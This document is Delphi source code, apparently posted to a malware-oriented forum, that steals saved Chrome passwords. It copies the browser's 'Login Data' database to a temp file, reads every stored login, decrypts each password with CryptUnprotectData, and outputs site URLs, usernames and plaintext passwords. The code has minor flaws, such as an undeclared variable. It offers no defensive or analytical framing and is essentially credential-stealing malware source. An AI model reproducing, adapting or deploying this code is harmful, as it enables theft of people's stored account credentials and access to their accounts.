Indetectables

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls,SHfolder,SQLiteTable3,sqlite3;

type
TCharArray = Array[0..1023] Of Char;
  _TOKEN_USER = record
    User: SID_AND_ATTRIBUTES;
  end;
  TOKEN_USER = _TOKEN_USER;
  TTokenUser = TOKEN_USER;
  PTokenUser = ^TOKEN_USER;
  _CREDENTIAL_ATTRIBUTEA = record
    Keyword: LPSTR;
    Flags: DWORD;
    ValueSize: DWORD;
    Value: PBYTE;
  end;
  PCREDENTIAL_ATTRIBUTE = ^_CREDENTIAL_ATTRIBUTEA;
_CREDENTIALA = record
    Flags: DWORD;
    Type_: DWORD;
    TargetName: LPSTR;
    Comment: LPSTR;
    LastWritten: FILETIME;
    CredentialBlobSize: DWORD;
    CredentialBlob: PBYTE;
    Persist: DWORD;
    AttributeCount: DWORD;
    Attributes: PCREDENTIAL_ATTRIBUTE;
    TargetAlias: LPSTR;
    UserName: LPSTR;
  end;
  PCREDENTIAL = array of ^_CREDENTIALA;
  _CRYPTPROTECT_PROMPTSTRUCT = record
    cbSize: DWORD;
    dwPromptFlags: DWORD;
    hwndApp: HWND;
    szPrompt: LPCWSTR;
  end;
  PCRYPTPROTECT_PROMPTSTRUCT = ^_CRYPTPROTECT_PROMPTSTRUCT;
  _CRYPTOAPI_BLOB = record
    cbData: DWORD;
    pbData: PBYTE;
  end;
  DATA_BLOB = _CRYPTOAPI_BLOB;
  PDATA_BLOB = ^DATA_BLOB;

  TForm1 = class(TForm)
    Memo1: TMemo;
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
    function GetChromePass(sqlite3Dll: string): string;
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  function CryptUnprotectData(pDataIn: PDATA_BLOB; ppszDataDescr: PLPWSTR; pOptionalEntropy: PDATA_BLOB; pvReserved: Pointer; pPromptStruct: PCRYPTPROTECT_PROMPTSTRUCT; dwFlags: DWORD; pDataOut: PDATA_BLOB): BOOL; stdcall; external 'crypt32.dll' Name 'CryptUnprotectData';
implementation

{$R *.dfm}

function TempFolder: String;
var
  bufFolder: array [0..MAX_PATH] of Char;
begin
  GetTempPath(SizeOf(bufFolder), bufFolder);
  Result := IncludeTrailingPathDelimiter(String(bufFolder));
end;

      function GetSpecialFolderPath(folder : integer) : string;
const
  SHGFP_TYPE_CURRENT = 0;
var
  path: array [0..MAX_PATH] of char;
begin
  if SUCCEEDED(SHGetFolderPath(0,folder,0,SHGFP_TYPE_CURRENT,@path[0])) then
    Result := path
  else
    Result := '';
    if Result[Length(Result)] <> '\' then
      Result := Result + '\';
end;
function dirkey :string;

begin
dirkey:= GetSpecialFolderPath(CSIDL_LOCAL_APPDATA);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
showmessage(GetChromePass('sqlite3.dll'));
end;

function StartGetChromePass(sqlite3Dll: string): string;
var
  DB: TSQLiteDatabase;
  Tablo: TSQLiteTable;
  Sifre: string;
  Giren: DATA_BLOB;
  Cikan: DATA_BLOB;
  DataStream: TMemorystream;
  Arquivo, TempFile: string;
  apdata,temporal:string;
begin
temporal:=tempfolder;
apdata:=GetSpecialFolderPath(CSIDL_LOCAL_APPDATA);
  result := '';
  merdadll := sqlite3Dll;
  Arquivo := apdata + '\Google\Chrome\User Data\Default\Login Data';

  TempFile := temporal + inttostr(gettickcount) + '.tmp';
  if CopyFile(pchar(arquivo), pchar(TempFile), false) = false then exit;

  db := TSQLiteDatabase.Create(TempFile);
  tablo := DB.GetTable('SELECT * FROM logins');
  While not tablo.EOF do
  begin
    DataStream := TMemoryStream.Create;
    DataStream := tablo.FieldAsBlob(tablo.FieldIndex['password_value']);
    Giren.pbData := DataStream.Memory;
    Giren.cbData := DataStream.Size;
    CryptUnProtectData(@Giren, nil,nil,nil,nil,0,@Cikan);
    SetString(sifre, PAnsiChar(Cikan.pbData), Cikan.cbData);
    Result := Result + tablo.FieldAsString(tablo.FieldIndex['origin_url']) + ' |';
    Result := Result + tablo.FieldAsString(tablo.FieldIndex['username_value']) + ' |';
    Result := Result + sifre + ' |' + #13#10;
    Tablo.Next;
  end;
  DeleteFile(TempFile);
end;

function tform1.GetChromePass(sqlite3Dll: string): string;
begin
  Try
    result := StartGetChromePass(sqlite3Dll);
    except
    result := '';
  end;
end;

end.